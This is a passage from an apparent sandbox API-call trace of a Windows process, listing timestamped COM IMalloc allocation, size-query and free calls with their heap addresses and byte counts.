(This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8900 [0112.774] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) returned 0x10 [0112.775] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) [0112.775] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.775] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x10 [0112.776] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.776] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03e00 [0112.776] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03e00) returned 0x20 [0112.776] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e00) [0112.776] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8f60 [0112.776] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f60) returned 0x10 [0112.777] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f60) [0112.777] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8800 [0112.777] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) returned 0x10 [0112.777] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) [0112.777] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c60 [0112.777] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) returned 0x10 [0112.778] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) [0112.778] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d87c0 [0112.778] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d87c0) returned 0x10 [0112.778] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d87c0) [0112.778] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09300 [0112.778] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09300) returned 0x8 [0112.778] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09300) [0112.779] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.779] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.779] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.780] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8800 [0112.780] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) returned 0x18 [0112.780] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) [0112.780] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8880 [0112.780] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x18 [0112.781] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.781] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d00 [0112.781] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) returned 0x10 [0112.781] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) [0112.781] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.781] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x10 [0112.781] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.781] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c60 [0112.781] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) returned 0x10 [0112.782] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) [0112.782] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8ec0 [0112.782] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8ec0) returned 0x10 [0112.782] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ec0) [0112.782] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.782] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x10 [0112.783] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.783] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e40 [0112.783] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8e40) returned 0x10 [0112.783] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8e40) [0112.783] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.784] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.784] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.784] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8940 [0112.784] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8940) returned 0x10 [0112.784] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8940) [0112.784] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.784] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x10 [0112.785] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.785] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0112.785] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0112.785] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0112.785] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f50 [0112.785] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) returned 0x8 [0112.785] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) [0112.785] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09300 [0112.785] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09300) returned 0x8 [0112.786] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09300) [0112.787] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8900 [0112.787] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) returned 0x18 [0112.787] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) [0112.787] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.787] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.788] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.788] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.788] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.788] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.788] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c80 [0112.788] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c80) returned 0x10 [0112.788] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c80) [0112.788] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03860 [0112.788] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03860) returned 0x20 [0112.789] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03860) [0112.789] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b827cf0 [0112.789] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b827cf0) returned 0x30 [0112.796] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827cf0) [0112.797] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b883040 [0112.797] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b883040) returned 0x48 [0112.798] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b883040) [0112.798] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0112.798] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0112.798] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0112.798] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0112.798] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0112.799] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0112.799] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d89e0 [0112.799] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d89e0) returned 0x10 [0112.799] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d89e0) [0112.799] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0112.799] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0112.799] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0112.800] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8800 [0112.800] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) returned 0x10 [0112.800] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) [0112.800] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d89e0 [0112.800] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d89e0) returned 0x10 [0112.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d89e0) [0112.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c60 [0112.801] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) returned 0x10 [0112.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) [0112.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8b60 [0112.801] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8b60) returned 0x18 [0112.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8b60) [0112.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.801] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x10 [0112.802] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.802] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.802] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.802] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.802] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8880 [0112.802] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x18 [0112.803] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.803] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8780 [0112.803] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8780) returned 0x10 [0112.804] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8780) [0112.804] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8aa0 [0112.804] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8aa0) returned 0x10 [0112.804] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8aa0) [0112.804] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d87c0 [0112.804] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d87c0) returned 0x18 [0112.804] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d87c0) [0112.805] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8800 [0112.805] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) returned 0x18 [0112.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) [0112.806] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.806] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.806] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0112.806] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0112.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0112.807] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e60 [0112.807] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8e60) returned 0x10 [0112.807] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8e60) [0112.807] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03bc0 [0112.807] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03bc0) returned 0x20 [0112.807] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03bc0) [0112.807] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b828230 [0112.807] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b828230) returned 0x30 [0112.808] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b828230) [0112.808] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b882d20 [0112.808] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882d20) returned 0x48 [0112.817] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8f40 [0112.817] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) returned 0x10 [0112.821] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8ac0 [0112.821] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8ac0) returned 0x18 [0112.830] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8dc0 [0112.830] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8dc0) returned 0x18 [0112.864] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03500 [0112.864] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03500) returned 0x28 [0112.866] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b827cf0 [0112.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03500 [0112.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03530 [0112.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b827770 [0112.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03860 [0112.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b828470 [0112.867] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03890 [0112.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb038f0 [0112.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8c60 [0112.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8900 [0112.868] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03920 [0112.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03ad0 [0112.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03bc0 [0112.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03c50 [0112.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b828230 [0112.869] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b828270 [0112.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8283f0 [0112.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x2764b827df0 [0112.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03e00 [0112.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03e30 [0112.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03e90 [0112.870] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8282b0 [0112.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b827970 [0112.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b828570 [0112.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b827ff0 [0112.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb03ec0 [0112.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03f50 [0112.871] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb04490 [0112.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8c00 [0112.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04100 [0112.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb046d0 [0112.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04040 [0112.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03f20 [0112.872] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb043a0 [0112.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb04280 [0112.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b828670 [0112.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b8286b0 [0112.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03f80 [0112.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03fb0 [0112.873] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b828030 [0112.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b8286f0 [0112.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8279b0 [0112.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b827870 [0112.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04910 [0112.874] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b8279f0 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb041c0 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50ccf0 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e00 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8a60 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8ac0 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8a80 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8ec0 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8a20 [0112.875] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8ca0 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c80 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8920 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d40 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8f40 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e20 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8cc0 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d60 [0112.876] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d87c0 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8b20 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d80 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8940 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8800 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8ea0 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8b60 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d00 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8a40 [0112.877] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8da0 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d20 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8780 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8960 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8aa0 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e60 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8dc0 [0112.878] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8de0 [0112.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e40 [0112.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d87a0 [0112.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8f60 [0112.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d88a0 [0112.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8980 [0112.879] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d89a0 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d89c0 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d89e0 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8b80 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9120 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d96e0 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9040 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9240 [0112.880] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9560 [0112.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9160 [0112.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9720 [0112.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d9300 [0112.881] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9380 [0112.881] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9380) returned 0x18 [0112.934] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d92e0 [0112.934] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d92e0) returned 0x18 [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d9120) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8e00) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8a80) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c80) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8a60) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ec0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8920) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ac0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8a20) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d89a0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d9300) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ca0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d89c0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d89e0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8e20) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8b80) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8cc0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d96e0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8940) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d60) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d87c0) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d40) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8b20) [0112.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d80) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8800) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ea0) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8b60) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d9160) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d9720) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8a40) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8da0) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8aa0) [0112.940] IMalloc:Free (This=0x7ff9e7edf3f0, 